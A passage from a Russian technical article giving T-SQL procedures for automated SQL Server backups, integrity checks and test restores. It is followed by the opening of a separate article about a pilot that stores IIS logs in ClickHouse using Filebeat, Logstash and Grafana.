--Значение аргумента first_fork_guid следующей восстановленной резервной копии журнала должно соответствовать этому значению. Это отражает текущее состояние контейнера
redo_target_lsn as RedoTargetLsn,--Номер LSN, на котором накат в режиме «в сети» по данному файлу может остановиться
--Равно NULL, за исключением случаев, когда значение аргумента state = RESTORING или значение аргумента state = RECOVERY_PENDING
redo_target_fork_guid as RedoTargetForkGuid,--Вилка восстановления, на которой может быть восстановлен контейнер. Используется в паре с redo_target_lsn
backup_lsn as BackupLsn--Номер LSN самых новых данных или разностная резервная копия файла
FROM sys.master_files--database_files;
GO
```
Для создания полных резервных копий реализуем хранимую процедуру:
**Процедура по созданию полных резервных копий**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [srv].[RunFullBackupDB]
@ClearLog bit=1 --сокращать ли размер журнала транзакций
AS
BEGIN
/*
Создание полной резервной копии БД с предварительной проверкой на целостность самой БД
*/
SET NOCOUNT ON;
declare @dt datetime=getdate();
declare @year int=YEAR(@dt);
declare @month int=MONTH(@dt);
declare @day int=DAY(@dt);
declare @hour int=DatePart(hour, @dt);
declare @minute int=DatePart(minute, @dt);
declare @second int=DatePart(second, @dt);
declare @pathBackup nvarchar(255);
declare @pathstr nvarchar(255);
declare @DBName nvarchar(255);
declare @backupName nvarchar(255);
declare @sql nvarchar(max);
declare @backupSetId as int;
declare @FileNameLog nvarchar(255);
declare @tbllog table(
[DBName] [nvarchar](255) NOT NULL,
[FileNameLog] [nvarchar](255) NOT NULL
);
declare @tbl table (
[DBName] [nvarchar](255) NOT NULL,
[FullPathBackup] [nvarchar](255) NOT NULL
);
--получаем названия БД и полные пути для создания полных резервных копий
insert into @tbl (
[DBName]
,[FullPathBackup]
)
select DB_NAME([DBID])
,[FullPathBackup]
from [srv].[BackupSettings];
--получаем названия БД и полные названия файлов соответствующих журналов транзакций (т к у одной базы данных их может быть несколько)
insert into @tbllog([DBName], [FileNameLog])
select t.[DBName], tt.[FileName] as [FileNameLog]
from @tbl as t
inner join [inf].[ServerDBFileInfo] as tt on t.[DBName]=DB_NAME(tt.[database_id])
where tt.[Type_desc]='LOG';
--далее последовательно обрабатываем каждую полученную ранее БД
while(exists(select top(1) 1 from @tbl))
begin
set @backupSetId=NULL;
select top(1)
@DBName=[DBName],
@pathBackup=[FullPathBackup]
from @tbl;
set @backupName=@DBName+N'_Full_backup_'+cast(@year as nvarchar(255))+N'_'+cast(@month as nvarchar(255))+N'_'+cast(@day as nvarchar(255))--+N'_'
--+cast(@hour as nvarchar(255))+N'_'+cast(@minute as nvarchar(255))+N'_'+cast(@second as nvarchar(255));
set @pathstr=@pathBackup+@backupName+N'.bak';
--осуществляем проверку на целостность БД
set @sql=N'DBCC CHECKDB(N'+N''''+@DBName+N''''+N') WITH NO_INFOMSGS';
exec(@sql);
--запускаем непосредственно процедуру резервного копирования
set @sql=N'BACKUP DATABASE ['+@DBName+N'] TO DISK = N'+N''''+@pathstr+N''''+
N' WITH NOFORMAT, NOINIT, NAME = N'+N''''+@backupName+N''''+
N', CHECKSUM, STOP_ON_ERROR, SKIP, REWIND, COMPRESSION, STATS = 10;';
exec(@sql);
--проверяем созданную резервную копию БД
select @backupSetId = position
from msdb..backupset where database_name=@DBName
and backup_set_id=(select max(backup_set_id) from msdb..backupset where database_name=@DBName);
set @sql=N'Ошибка верификации. Сведения о резервном копировании для базы данных "'+@DBName+'" не найдены.';
if @backupSetId is null begin raiserror(@sql, 16, 1) end
else
begin
set @sql=N'RESTORE VERIFYONLY FROM DISK = N'+''''+@pathstr+N''''+N' WITH FILE = '+cast(@backupSetId as nvarchar(255));
exec(@sql);
end
--ужимаем журналы транзакций БД
if(@ClearLog=1)
begin
while(exists(select top(1) 1 from @tbllog where [DBName]=@DBName))
begin
select top(1)
@FileNameLog=FileNameLog
from @tbllog
where DBName=@DBName;
set @sql=N'USE ['+@DBName+N'];'+N' DBCC SHRINKFILE (N'+N''''+@FileNameLog+N''''+N' , 0, TRUNCATEONLY)';
exec(@sql);
delete from @tbllog
where FileNameLog=@FileNameLog
and DBName=@DBName;
end
end
delete from @tbl
where [DBName]=@DBName;
end
END
GO
```
По коду видно, что данная хранимая процедура сразу решает все оставшиеся пункты алгоритма по созданию полных резервных копий.
Аналогично реализуются хранимые процедуры по созданию разностных резервных копий и резервных копий журналов транзакций:
**Процедура по созданию разностных резервных копий БД**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [srv].[RunDiffBackupDB]
@ClearLog bit=1 --сокращать ли размер журнала транзакций
AS
BEGIN
/*
Создание разностной резервной копии БД
*/
SET NOCOUNT ON;
declare @dt datetime=getdate();
declare @year int=YEAR(@dt);
declare @month int=MONTH(@dt);
declare @day int=DAY(@dt);
declare @hour int=DatePart(hour, @dt);
declare @minute int=DatePart(minute, @dt);
declare @second int=DatePart(second, @dt);
declare @pathBackup nvarchar(255);
declare @pathstr nvarchar(255);
declare @DBName nvarchar(255);
declare @backupName nvarchar(255);
declare @sql nvarchar(max);
declare @backupSetId as int;
declare @FileNameLog nvarchar(255);
declare @tbl table (
[DBName] [nvarchar](255) NOT NULL,
[DiffPathBackup] [nvarchar](255) NOT NULL
);
declare @tbllog table(
[DBName] [nvarchar](255) NOT NULL,
[FileNameLog] [nvarchar](255) NOT NULL
);
--получаем названия БД и полные пути для создания разностных резервных копий
insert into @tbl (
[DBName]
,[DiffPathBackup]
)
select DB_NAME([DBID])
,[DiffPathBackup]
from [srv].[BackupSettings]
where [DiffPathBackup] is not null;
--получаем названия БД и полные названия файлов соответствующих журналов транзакций (т к у одной базы данных их может быть несколько)
insert into @tbllog([DBName], [FileNameLog])
select t.[DBName], tt.[FileName] as [FileNameLog]
from @tbl as t
inner join [inf].[ServerDBFileInfo] as tt on t.[DBName]=DB_NAME(tt.[database_id])
where tt.[Type_desc]='LOG';
--далее последовательно обрабатываем каждую полученную ранее БД
while(exists(select top(1) 1 from @tbl))
begin
set @backupSetId=NULL;
select top(1)
@DBName=[DBName],
@pathBackup=[DiffPathBackup]
from @tbl;
set @backupName=@DBName+N'_Diff_backup_'+cast(@year as nvarchar(255))+N'_'+cast(@month as nvarchar(255))+N'_'+cast(@day as nvarchar(255))+N'_'
+cast(@hour as nvarchar(255))+N'_'+cast(@minute as nvarchar(255))+N'_'+cast(@second as nvarchar(255));
set @pathstr=@pathBackup+@backupName+N'.bak';
--осуществляем проверку на целостность БД
set @sql=N'DBCC CHECKDB(N'+N''''+@DBName+N''''+N') WITH NO_INFOMSGS';
exec(@sql);
--запускаем непосредственно процедуру резервного копирования
set @sql=N'BACKUP DATABASE ['+@DBName+N'] TO DISK = N'+N''''+@pathstr+N''''+
N' WITH DIFFERENTIAL, NOFORMAT, NOINIT, NAME = N'+N''''+@backupName+N''''+
N', CHECKSUM, STOP_ON_ERROR, SKIP, REWIND, COMPRESSION, STATS = 10;';
exec(@sql);
--проверяем созданную резервную копию БД
select @backupSetId = position
from msdb..backupset where database_name=@DBName
and backup_set_id=(select max(backup_set_id) from msdb..backupset where database_name=@DBName);
set @sql=N'Ошибка верификации. Сведения о резервном копировании для базы данных "'+@DBName+'" не найдены.';
if @backupSetId is null begin raiserror(@sql, 16, 1) end
else
begin
set @sql=N'RESTORE VERIFYONLY FROM DISK = N'+''''+@pathstr+N''''+N' WITH FILE = '+cast(@backupSetId as nvarchar(255));
exec(@sql);
end
--ужимаем журналы транзакций БД
if(@ClearLog=1)
begin
while(exists(select top(1) 1 from @tbllog where [DBName]=@DBName))
begin
select top(1)
@FileNameLog=FileNameLog
from @tbllog
where DBName=@DBName;
set @sql=N'USE ['+@DBName+N'];'+N' DBCC SHRINKFILE (N'+N''''+@FileNameLog+N''''+N' , 0, TRUNCATEONLY)';
exec(@sql);
delete from @tbllog
where FileNameLog=@FileNameLog
and DBName=@DBName;
end
end
delete from @tbl
where [DBName]=@DBName;
end
END
GO
```
Т к проверка целостности БД – достаточно ресурсоемкая задача, то для повышения быстродействия можно не проверять на целостность БД перед созданием разностной резервной копии БД.
**Процедура по созданию резервных копий журналов транзакций**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [srv].[RunLogBackupDB]
@ClearLog bit=1 --сокращать ли размер журнала транзакций
AS
BEGIN
/*
Создание резервной копии журнала транзакции БД
*/
SET NOCOUNT ON;
declare @dt datetime=getdate();
declare @year int=YEAR(@dt);
declare @month int=MONTH(@dt);
declare @day int=DAY(@dt);
declare @hour int=DatePart(hour, @dt);
declare @minute int=DatePart(minute, @dt);
declare @second int=DatePart(second, @dt);
declare @pathBackup nvarchar(255);
declare @pathstr nvarchar(255);
declare @DBName nvarchar(255);
declare @backupName nvarchar(255);
declare @sql nvarchar(max);
declare @backupSetId as int;
declare @FileNameLog nvarchar(255);
declare @tbl table (
[DBName] [nvarchar](255) NOT NULL,
[LogPathBackup] [nvarchar](255) NOT NULL
);
declare @tbllog table(
[DBName] [nvarchar](255) NOT NULL,
[FileNameLog] [nvarchar](255) NOT NULL
);
--получаем названия БД и полные пути для создания резервных копий журналов транзакций, у которых модель восстановления не простая (полная или с неполным протоколированием)
--и за исключением системных БД
insert into @tbl (
[DBName]
,[LogPathBackup]
)
select DB_NAME(b.[DBID])
,b.[LogPathBackup]
from [srv].[BackupSettings] as b
inner join sys.databases as d on b.[DBID]=d.[database_id]
where d.recovery_model<3
and DB_NAME([DBID]) not in (
N'master',
N'tempdb',
N'model',
N'msdb',
N'ReportServer',
N'ReportServerTempDB'
)
and [LogPathBackup] is not null;
--получаем названия БД и полные названия файлов соответствующих журналов транзакций (т к у одной базы данных их может быть несколько)
insert into @tbllog([DBName], [FileNameLog])
select t.[DBName], tt.[FileName] as [FileNameLog]
from @tbl as t
inner join [inf].[ServerDBFileInfo] as tt on t.[DBName]=DB_NAME(tt.[database_id])
where tt.[Type_desc]='LOG';
--далее последовательно обрабатываем каждую полученную ранее БД
while(exists(select top(1) 1 from @tbl))
begin
set @backupSetId=NULL;
select top(1)
@DBName=[DBName],
@pathBackup=[LogPathBackup]
from @tbl;
set @backupName=@DBName+N'_Log_backup_'+cast(@year as nvarchar(255))+N'_'+cast(@month as nvarchar(255))+N'_'+cast(@day as nvarchar(255))+N'_'
+cast(@hour as nvarchar(255))+N'_'+cast(@minute as nvarchar(255))+N'_'+cast(@second as nvarchar(255));
set @pathstr=@pathBackup+@backupName+N'.trn';
--запускаем непосредственно процедуру резервного копирования
set @sql=N'BACKUP LOG ['+@DBName+N'] TO DISK = N'+N''''+@pathstr+N''''+
N' WITH NOFORMAT, NOINIT, NAME = N'+N''''+@backupName+N''''+
N', CHECKSUM, STOP_ON_ERROR, SKIP, REWIND, COMPRESSION, STATS = 10;';
exec(@sql);
--проверяем созданную резервную копию журнала транзакций
select @backupSetId = position
from msdb..backupset where database_name=@DBName
and backup_set_id=(select max(backup_set_id) from msdb..backupset where database_name=@DBName);
set @sql=N'Ошибка верификации. Сведения о резервном копировании для базы данных "'+@DBName+'" не найдены.';
if @backupSetId is null begin raiserror(@sql, 16, 1) end
else
begin
set @sql=N'RESTORE VERIFYONLY FROM DISK = N'+''''+@pathstr+N''''+N' WITH FILE = '+cast(@backupSetId as nvarchar(255));
exec(@sql);
end
--ужимаем журналы транзакций БД
if(@ClearLog=1)
begin
while(exists(select top(1) 1 from @tbllog where [DBName]=@DBName))
begin
select top(1)
@FileNameLog=FileNameLog
from @tbllog
where DBName=@DBName;
set @sql=N'USE ['+@DBName+N'];'+N' DBCC SHRINKFILE (N'+N''''+@FileNameLog+N''''+N' , 0, TRUNCATEONLY)';
exec(@sql);
delete from @tbllog
where FileNameLog=@FileNameLog
and DBName=@DBName;
end
end
delete from @tbl
where [DBName]=@DBName;
end
END
GO
```
Т к резервная копия журнала транзакций обычно делается достаточно часто, а проверка целостности БД – достаточно ресурсоемкая задача, то обычно не проверяют целостность БД перед созданием резервной копии журнала транзакций.
Также необходимо помнить о том, что периодически нужно делать полные резервные копии БД master, msdb и model.
Для автоматизации процесса по созданию резервных копий, достаточно поместить вызов реализованных выше хранимых процедур в Планировщик заданий Windows, в задачи Агента или в любой другой доступный сервис.
Частоту вызовов по каждой хранимой процедуре необходимо подбирать индивидуально, исходя из пиков загрузки, периодов простоя, и т. д.
Наиболее общий подход:
1) Создание полной резервной копии 1 раз в день
2) Создание разностных резервных копий каждые 2-4 часа
3) Создание резервных копий журнала транзакций каждые 5-60 минут
Также важно помнить о том, что обычно базы данных участвуют в системе отказоустойчивости и быстрой доступности. И если в последнем используются резервные копии журналов транзакций, то важно не мешать этому процессу (т е нельзя допускать создания резервных копий журнала транзакций БД разными процессами, т к тогда будет потеряна последовательность для восстановления из этих резервных копий).
Здесь были приведены примеры последовательной обработки каждой БД. Но в производстве вполне возможно распараллелить обработку, делая несколько резервных копий одновременно. Это можно сделать разными способами. Например, вызовом следующей хранимой процедуры:
**Процедура для асинхронного вызова запросов**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [inf].[RunAsyncExecute]
(
@sql nvarchar(max),
@jobname nvarchar(57) = null,
@database nvarchar(128)= null,
@owner nvarchar(128) = null
)
AS BEGIN
/*
асинхронный вызов пакета через задания Агента
RunAsyncExecute - asynchronous execution of T-SQL command or stored prodecure
2012 Antonin Foller, Motobit Software, www.motobit.com
http://www.motobit.com/tips/detpg_async-execute-sql/
*/
SET NOCOUNT ON;
declare @id uniqueidentifier;
--Create unique job name if the name is not specified
if (@jobname is null) set @jobname= '';
set @jobname = @jobname + '_async_' + convert(varchar(64),NEWID());
if (@owner is null) set @owner = 'sa';
--Create a new job, get job ID
execute msdb..sp_add_job @jobname, @owner_login_name=@owner, @job_id=@id OUTPUT;
--Specify a job server for the job
execute msdb..sp_add_jobserver @job_id=@id;
--Specify a first step of the job - the SQL command
--(@on_success_action = 3 ... Go to next step)
execute msdb..sp_add_jobstep @job_id=@id, @step_name='Step1', @command = @sql,
@database_name = @database, @on_success_action = 3;
--Specify next step of the job - delete the job
declare @deletecommand varchar(200);
set @deletecommand = 'execute msdb..sp_delete_job @job_name='''+@jobname+'''';
execute msdb..sp_add_jobstep @job_id=@id, @step_name='Step2', @command = @deletecommand;
--Start the job
execute msdb..sp_start_job @job_id=@id;
END
GO
```
Здесь асинхронность достигается путем динамического создания заданий Агента с последующим их выполнением и удалением.
Теперь приведем общий алгоритм по восстановлению базы данных из созданных ранее резервных копий (в другой или тестовой среде):
1) Определяем какие базы данных нужно восстановить, а также место нахождения резервных копий
2) Восстанавливаем базы данных
3) Проверяем целостность восстановленных баз данных
Далее приведем пример реализации алгоритма по восстановлению базы данных из полной резервной копии. Для разностной процедура аналогичная, но сначала восстанавливается полная резервная копия, а затем разностная.
Для того, чтобы определить какие базы данных нужно восстановить, а также место нахождения резервных копий, создадим две таблицы:
**Таблица настройки восстановления БД**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[RestoreSettings](
[DBName] [nvarchar](255) NOT NULL,
[FullPathRestore] [nvarchar](255) NOT NULL,
[DiffPathRestore] [nvarchar](255) NOT NULL,
[LogPathRestore] [nvarchar](255) NOT NULL,
[InsertUTCDate] [datetime] NOT NULL,
CONSTRAINT [PK_RestoreSettings] PRIMARY KEY CLUSTERED
(
[DBName] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];
GO
ALTER TABLE [srv].[RestoreSettings] ADD CONSTRAINT [DF_RestoreSettings_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate];
GO
```
Здесь назначения колонок аналогичны назначениям колонок для таблицы [srv].[BackupSettings] с той лишь разницей, что по полному пути будут не создаваться резервные копии, а браться существующие для восстановления.
**Таблица файлов БД для восстановления**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[RestoreSettingsDetail](
[Row_GUID] [uniqueidentifier] NOT NULL,
[DBName] [nvarchar](255) NOT NULL,
[SourcePathRestore] [nvarchar](255) NOT NULL,
TargetPathRestore [nvarchar](255) NOT NULL,
[Ext] [nvarchar](255) NOT NULL,
[InsertUTCDate] [datetime] NOT NULL,
CONSTRAINT [PK_RestoreSettingsDetail] PRIMARY KEY CLUSTERED
(
[Row_GUID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];
GO
ALTER TABLE [srv].[RestoreSettingsDetail] ADD CONSTRAINT [DF_RestoreSettingsDetail_Row_GUID] DEFAULT (newid()) FOR [Row_GUID];
GO
ALTER TABLE [srv].[RestoreSettingsDetail] ADD CONSTRAINT [DF_RestoreSettingsDetail_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate];
GO
```
Данная таблица нужна, чтобы определить полные названия файлов восстанавливаемой БД для последующего переноса (например, [SourcePathRestore]='Логическое имя файла' и [TargetPathRestore]= 'диск:\...\Физическое имя файла', а [Ext]= 'Расширение файла'.
На самом деле здесь можно определить логические имена файлов БД по следующему запросу:
**Получение логических имен файлов БД**
```
RESTORE FILELISTONLY
FROM DISK ='диск:\...\резервная копия.BAK';
```
А получить информацию о резервных копиях, которые находятся в файле, можно следующим образом:
**Получение информации о резервных копиях БД**
```
RESTORE HEADERONLY
FROM DISK='диск:\...\резервная копия.BAK';
```
Теперь приведем пример реализации хранимой процедуры по восстановлению БД из полной резервной копии с последующей проверкой на целостность данных:
**Процедура восстановления БД по полным резервным копиям**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [srv].[RunFullRestoreDB]
AS
BEGIN
/*
Восстановление из полной резервной копии БД с последующей проверкой на целостность самой БД
*/
SET NOCOUNT ON;
declare @dt datetime=DateAdd(day,-2,getdate());
declare @year int=YEAR(@dt);
declare @month int=MONTH(@dt);
declare @day int=DAY(@dt);
declare @hour int=DatePart(hour, @dt);
declare @minute int=DatePart(minute, @dt);
declare @second int=DatePart(second, @dt);
declare @pathBackup nvarchar(255);
declare @pathstr nvarchar(255);
declare @DBName nvarchar(255);
declare @backupName nvarchar(255);
declare @sql nvarchar(max);
declare @backupSetId as int;
declare @FileNameLog nvarchar(255);
declare @SourcePathRestore nvarchar(255);
declare @TargetPathRestore nvarchar(255);
declare @Ext nvarchar(255);
declare @tbl table (
[DBName] [nvarchar](255) NOT NULL,
[FullPathRestore] [nvarchar](255) NOT NULL
);
declare @tbl_files table (
[DBName] [nvarchar](255) NOT NULL,
[SourcePathRestore] [nvarchar](255) NOT NULL,
[TargetPathRestore] [nvarchar](255) NOT NULL,
[Ext] [nvarchar](255) NOT NULL
);
--получаем список имен БД и полных путей к полным резервным копиям БД
insert into @tbl (
[DBName]
,[FullPathRestore]
)
select [DBName]
,[FullPathRestore]
from [srv].[RestoreSettings];
--получаем детальную информацию по тому, куда переносить файлы БД
insert into @tbl_files (
[DBName]
,[SourcePathRestore]
,[TargetPathRestore]
,[Ext]
)
select [DBName]
,[SourcePathRestore]
,[TargetPathRestore]
,[Ext]
from [srv].[RestoreSettingsDetail];
--обрабатываем каждую полученную БД
while(exists(select top(1) 1 from @tbl))
begin
set @backupSetId=NULL;
select top(1)
@DBName=[DBName],
@pathBackup=[FullPathRestore]
from @tbl;
set @backupName=@DBName+N'_Full_backup_'+cast(@year as nvarchar(255))+N'_'+cast(@month as nvarchar(255))+N'_'+cast(@day as nvarchar(255))--+N'_'
--+cast(@hour as nvarchar(255))+N'_'+cast(@minute as nvarchar(255))+N'_'+cast(@second as nvarchar(255));
set @pathstr=@pathBackup+@backupName+N'.bak';
--формируем запрос на восстановление и вызываем его
set @sql=N'RESTORE DATABASE ['+@DBName+N'_Restore] FROM DISK = N'+N''''+@pathstr+N''''+
N' WITH FILE = 1,';
while(exists(select top(1) 1 from @tbl_files where [DBName]=@DBName))
begin
select top(1)
@SourcePathRestore=[SourcePathRestore],
@TargetPathRestore=[TargetPathRestore],
@Ext=[Ext]
from @tbl_files
where [DBName]=@DBName;
set @sql=@sql+N' MOVE N'+N''''+@SourcePathRestore+N''''+N' TO N'+N''''+@TargetPathRestore+N'_Restore.'+@Ext+N''''+N',';
delete from @tbl_files
where [DBName]=@DBName
and [SourcePathRestore]=@SourcePathRestore
and [Ext]=@Ext;
end
set @sql=@sql+N' NOUNLOAD, REPLACE, STATS = 5';
exec(@sql);
--проверяем на целотность БД
set @sql=N'DBCC CHECKDB(N'+N''''+@DBName+'_Restore'+N''''+N') WITH NO_INFOMSGS';
exec(@sql);
delete from @tbl
where [DBName]=@DBName;
end
END
```
Здесь, чтоб определить, какую полную резервную копию нужно восстанавливать, берётся имя файла, которое формируется следующим образом:
<название БД>\_Full\_backup\_<год>\_<номер\_месяца\_в\_году>\_<номер\_дня\_в\_месяце>.bak
Для автоматизации процесса по восстановлению БД из полных резервных копий, достаточно поместить вызов реализованной выше хранимой процедуры в Планировщик заданий Windows, в задачи Агента или в любой другой доступный сервис.
Просмотреть последние сделанные резервные копии БД можно с помощью следующего представления:
**Представление по последним сделанным резервным копиям БД**
```
USE [ИМЯ_БД]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE VIEW [inf].[vServerLastBackupDB] as
with backup_cte as
(
select
bs.[database_name],
backup_type =
case bs.[type]
when 'D' then 'database'
when 'L' then 'log'
when 'I' then 'differential'
else 'other'
end,
bs.[first_lsn],
bs.[last_lsn],
bs.[backup_start_date],
bs.[backup_finish_date],
cast(bs.[backup_size] as decimal(18,3))/1024/1024 as BackupSizeMb,
rownum =
row_number() over
(
partition by bs.[database_name], type
order by bs.[backup_finish_date] desc
),
LogicalDeviceName = bmf.[logical_device_name],
PhysicalDeviceName = bmf.[physical_device_name],
bs.[server_name],
bs.[user_name]
FROM msdb.dbo.backupset bs
INNER JOIN msdb.dbo.backupmediafamily bmf
ON [bs].[media_set_id] = [bmf].[media_set_id]
)
select
[server_name] as [ServerName],
[database_name] as [DBName],
[user_name] as [USerName],
[backup_type] as [BackupType],
[backup_start_date] as [BackupStartDate],
[backup_finish_date] as [BackupFinishDate],
[BackupSizeMb], --размер без сжатия
[LogicalDeviceName],
[PhysicalDeviceName],
[first_lsn] as [FirstLSN],
[last_lsn] as [LastLSN]
from backup_cte
where rownum = 1;
```
### Результат
В данной статье был рассмотрен пример реализации автоматизированного процесса резервного копирования на одном сервере с последующим восстановлением на другом сервере (например, тестовом).
Данный метод позволяет автоматизировать процесс создания резервных копий, проверить резервные копии методом восстановления, а также тонко настроить приведенные выше процессы.
### Источники:
» [Лекция 5: Полная модель восстановления](http://www.intuit.ru/studies/courses/1141/263/lecture/6714)
» [Backup](https://msdn.microsoft.com/ru-ru/library/ms186865%28v=sql.120%29.aspx)
» [Restore](https://msdn.microsoft.com/ru-ru/library/ms186858%28v=sql.120%29.aspx)
» [Backupset](https://msdn.microsoft.com/ru-ru/library/ms186299(v=sql.120).aspx)
» [CHECKDB](https://msdn.microsoft.com/ru-ru/library/ms176064%28v=sql.120%29.aspx)
» [SHRINKFILE](https://msdn.microsoft.com/ru-ru/library/ms189493(v=sql.110).aspx)
» [sys.master\_files](https://technet.microsoft.com/ru-ru/library/ms186782(v=sql.110).aspx)
» [sp\_async\_execute](http://www.motobit.com/tips/detpg_async-execute-sql) | https://habr.com/ru/post/343554/ | null | ru | null |
# БД ClickHouse для людей, или Технологии инопланетян
**Алексей Лизунов, руководитель направления центра компетенций дистанционных каналов обслуживания дирекции информационных технологий МКБ**
В качестве альтернативы стеку ELK (ElasticSearch, Logstash, Kibana) мы проводим исследовательские работы по использованию БД ClickHouse в качестве хранилища данных для логов.
В этой статье мы хотели бы рассказать о нашем опыте использования БД ClickHouse и о предварительных результатах по итогам пилотной эксплуатации. Стоит отметить сразу, что результаты получились впечатляющие.
Далее мы опишем подробнее, как у нас настроена система, и из каких компонентов она состоит. Но сейчас хотелось бы немного рассказать об этой БД в целом, и почему на нее стоит обратить внимание. БД ClickHouse – это высокопроизводительная аналитическая столбцовая БД от Яндекса. Используется в сервисах Яндекса, изначально это основное хранилище данных для Яндекс.Метрики. Система open-source, бесплатная. С точки зрения разработчика, мне всегда было интересно, как же у них это реализовано, ведь там фантастически большие данные. И сам пользовательский интерфейс Метрики очень гибок и работает быстро. При первом знакомстве с этой БД впечатление: «Ну, наконец-то! Сделано «для людей»! Начиная от процесса установки и заканчивая отправкой запросов».
У этой БД очень низкий порог входа. Даже средней квалификации разработчик может за несколько минут установить эту БД и начать пользоваться. Все работает четко. Даже люди, которые плохо знакомы с Linux, достаточно быстро могут справиться с установкой и делать простейшие операции. Если раньше, при слове Big Data, Hadoop, Google BigTable, HDFS, у обычного разработчика возникали представления, что там речь о каких-то терабайтах, петабайтах, что настройками и разработкой для этих систем занимаются некие сверхлюди, то с появлением БД ClickHouse мы получили простой, понятный инструмент, при помощи которого можно решать до этого недостижимый круг задач. Достаточно лишь одна довольно средняя машина и пять минут на установку. То есть мы получили такую БД как, например, MySql, но только для хранения миллиардов записей! Некий суперархиватор с языком SQL. Это как будто людям передали оружие инопланетян.
#### О нашей системе сбора логов
Для сбора информации используются файлы логов IIS веб-приложений стандартного формата (также сейчас мы занимаемся и парсингом логов приложений, но основная цель на этапе пилотной эксплуатации у нас – это сбор логов IIS).
Полностью от стека ELK нам отказаться по различным причинам не удалось, и мы продолжаем использовать компоненты LogStash и Filebeat, которые зарекомендовали себя хорошо и работают вполне надежно и предсказуемо.
Общая схема логирования представлена на рисунке ниже:
Особенностью записи данных в БД ClickHouse является нечастая (раз в секунду) вставка записей большими пачками. Это, судя по всему, самая «проблемная» часть, с которой сталкиваешься при первом опыте работы с БД ClickHouse: схема немного усложняется.
Здесь сильно помог плагин для LogStash, который напрямую вставляет данные в ClickHouse. Этот компонент разворачивается на том же сервере, что и сама БД. Так, вообще говоря, не рекомендуется делать, но с практической точки зрения, чтобы не плодить отдельные сервера, пока он развернут на том же сервере. Ни сбоев, ни конфликтов ресурсов с БД мы не наблюдали. К тому же необходимо отметить, что у плагина предусмотрен механизм ретрая в случае ошибок. И в случае ошибок плагин пишет на диск пачку данных, которые не удалось вставить (формат файла удобный: после правки, можно легко заинсертить исправленную пачку с помощью clickhouse-client).
Полный список ПО, которое используется в схеме представлен в таблице:
**Cписок используемого ПО**
| | | |
| --- | --- | --- |
| **Название** | **Описание** | **Ссылка на дистрибутив** |
| NGINX | Reverse-proxy для ограничения доступа по портам и организации авторизации
На данный момент не используется в схеме
<https://nginx.org/ru/download.html> | <https://nginx.org/download/nginx-1.16.0.tar.gz> |
| FileBeat | Передача файловых логов.
<https://www.elastic.co/downloads/beats/filebeat> (дистрибутив для Windows 64bit). | <https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.3.0-windows-x86_64.zip> |
| LogStash | Сборщик логов.
Используется для сбора логов от FileBeat, а также для сбора логов из очереди RabbitMQ (для серверов, которые находятся в DMZ.)
<https://www.elastic.co/products/logstash> | <https://artifacts.elastic.co/downloads/logstash/logstash-7.0.1.rpm> |
| Logstash- output- clickhouse | Плагин Loagstash для передачи логов в БД ClickHouse пачками
<https://github.com/mikechris/logstash-output-clickhouse> | /usr/share/logstash/bin/logstash-plugin install logstash-output-clickhouse
/usr/share/logstash/bin/logstash-plugin install logstash-filter-prune
/usr/share/logstash/bin/logstash-plugin install logstash-filter-multiline |
| ClickHouse | Хранилище логов <https://clickhouse.yandex/docs/ru/> | <https://packagecloud.io/Altinity/clickhouse/packages/el/7/clickhouse-server-19.5.3.8-1.el7.x86_64.rpm>
<https://packagecloud.io/Altinity/clickhouse/packages/el/7/clickhouse-client-19.5.3.8-1.el7.x86_64.rpm>
Примечание. Начиная с августа 2018 в репозитории Яндекса появились "нормальные" сборки rpm для RHEL, поэтому можно пробовать использовать их. На момент установки мы использовали пакеты, собранные Altinity. |
| Grafana | Визуализация логов. Настройка дашбордов
<https://grafana.com/> | <https://grafana.com/grafana/download>
Redhat & Centos(64 Bit) – последнюю версию |
| ClickHouse datasource for Grafana 4.6+ | Плагин для Grafana с источником данных ClickHouse
<https://grafana.com/plugins/vertamedia-clickhouse-datasource> | <https://grafana.com/api/plugins/vertamedia-clickhouse-datasource/versions/1.8.1/download> |
| LogStash | Маршрутизатор логов от FileBeat в очередь RabbitMQ.
Примечание. К сожалению у FileBeat нет output напрямую в RabbitMQ, поэтому требуется промежуточное звено в виде Logstash
<https://www.elastic.co/products/logstash> | <https://artifacts.elastic.co/downloads/logstash/logstash-7.0.1.rpm> |
| RabbitMQ | Очередь сообщений. Это буфер записей логов в DMZ
<https://www.rabbitmq.com/download.html> | <https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.7.14/rabbitmq-server-3.7.14-1.el7.noarch.rpm> |
| Erlang Runtime (Необходим для RabbitMQ) | Среда выполнения Erlang. Требуется для работы RabbitMQ
<http://www.erlang.org/download.html> | <https://www.rabbitmq.com/install-rpm.html#install-erlang> <http://www.erlang.org/downloads/21.3> |
Конфигурация сервера с БД ClickHouse представлена в следующей таблице:
| | | |
| --- | --- | --- |
| **Название** | **Значение** | **Примечание** |
| Конфигурация | HDD: 40GB
RAM: 8GB
